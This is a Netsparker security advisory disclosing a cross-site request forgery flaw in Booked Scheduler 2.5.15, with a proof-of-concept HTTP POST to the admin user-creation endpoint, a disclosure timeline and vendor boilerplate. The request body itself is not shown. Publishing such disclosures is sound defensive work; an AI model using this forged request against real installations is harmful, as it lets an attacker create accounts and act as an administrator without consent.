Advisory by Netsparker.
Name: CSRF Vulnerability in Booked Scheduler 2.5.15
Affected Software : Booked Scheduler
Affected Versions: 2.5.15 and possibly below
Vendor Homepage : 
Vulnerability Type : Cross-site Request Forgery
Severity : Important
Status : Fixed
Netsparker Advisory Reference : NS-15-018

By exploiting a Cross-site Request Forgery (CSRF) vulnerability the attacker can mount any of the actions that can be done by the user such as adding a user, modifying content, deleting data. All the functionality that's available to the victim can be used by the attacker. Only exception to this rule is a page that requires extra information that only the legitimate user can know (such as user's password).

Technical Details
Proof of Concept for CSRF in Booked Scheduler 2.5.15:

Url /phpsch/Web/admin/manage_users.php

POST /phpsch/Web/admin/manage_users.php?action=addUser&uid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 109
Cookie: PHPSESSID=fbd9f00159dfbd7769155930058ba023
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


For more information on cross-site scripting vulnerabilities read the article Cross-site Request Forgery (CSRF).

Advisory Timeline
15/09/2015 - First Contact
24/09/2015 - Vendor Fixed
09/11/2015 - Advisory Released


Credits & Authors
These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine's unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities, hence it does not report any false positives. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Enterprise. Visit our website for more information.